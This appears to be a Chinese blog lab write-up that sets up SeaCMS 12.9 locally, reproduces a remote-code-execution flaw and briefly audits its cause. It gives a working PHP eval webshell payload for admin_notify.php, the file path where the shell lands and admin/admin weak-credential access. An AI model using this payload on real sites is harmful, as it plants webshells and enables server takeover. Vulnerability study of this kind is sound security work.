Ⅰ、环境搭建
首先搭建靶场环境
0.png
我们需要提前准备好一个正常使用的小皮面板
1.png
然后我们把提前准备好的压缩包解压出来并且放置到小皮面板的网站目录下
2.png
我的小皮面板服务目录在C:\phpstudy_pro\WWW
3.png
然后把刚刚的某洋cms放置到www目录下
4.png
然后我们可以通过网页来进行访问然后安装,我的ip是192.168.1.57
所以就去到http://192.168.1.57/SeaCMS_12.9/Upload/install/index.php这个文件来进行安装操作,打开此url会出现下面的界面,然后点击右下角的开始
5.png
直接同意
6.png
信息无误后点击下一步
下一步之后就需要我们填写数据库密码了,其他如果小皮没有变化就直接不管
7.png
点击下一步即可看见安装完成
Ⅱ、漏洞复现
接下来正式开始复现
http://192.168.212.133/SeaCMS_12.9/Upload/s2bj3v
1
首先我们去到http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/这个文件目录
8.png
因为我们是直接在这里安装的,保存了我们的cookie所以我们就直接进来了,如果没有直接进来也不要紧,直接弱密码账户admin 密码admin就行了
9.png
注意ew6sv这个目录是上图自动生成的
11.png
然后我们可以直接去到
http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/admin_notify.php
1
这个地址下的admin_notify.php文件
03dda2085c99430493ea1e6a5d9b4ca0.png
然后我们只需要在这里输入
1";@eval($_POST@[cmd]);;//
1
然后下面的随便填,就像这样子
c2a7db4ec7db406f9c667efb4b7644fc.png
点击确认
确认后我们去到
http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php
这个位置,这里便是我们刚刚写入马子的位置
直接打开蚁剑就可以直接正向连接了
Ⅲ、漏洞分析
然后是代码审计
我们可以分别看一下这俩php文件到底发生了什么导致了RCE
首先是他以写模式打开了
http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php
这个地方的notify.php文件然后把内容拼接了上去,但是并没有检查拼接的字符串中是否存在特殊字符,而直接进去了
然后我们看一下写入的内容
很明显我们输入的双引号把变量前面的内容给闭合了,然后后面有双斜杠直接注释了后方的内容,所以就导致了我们利用蚁剑来正向shell
————————————————
上一篇:海洋cms影视模板:打造高效电影站源码的利器
下一篇:海洋cms解决海洋CMS获取资源失败的方法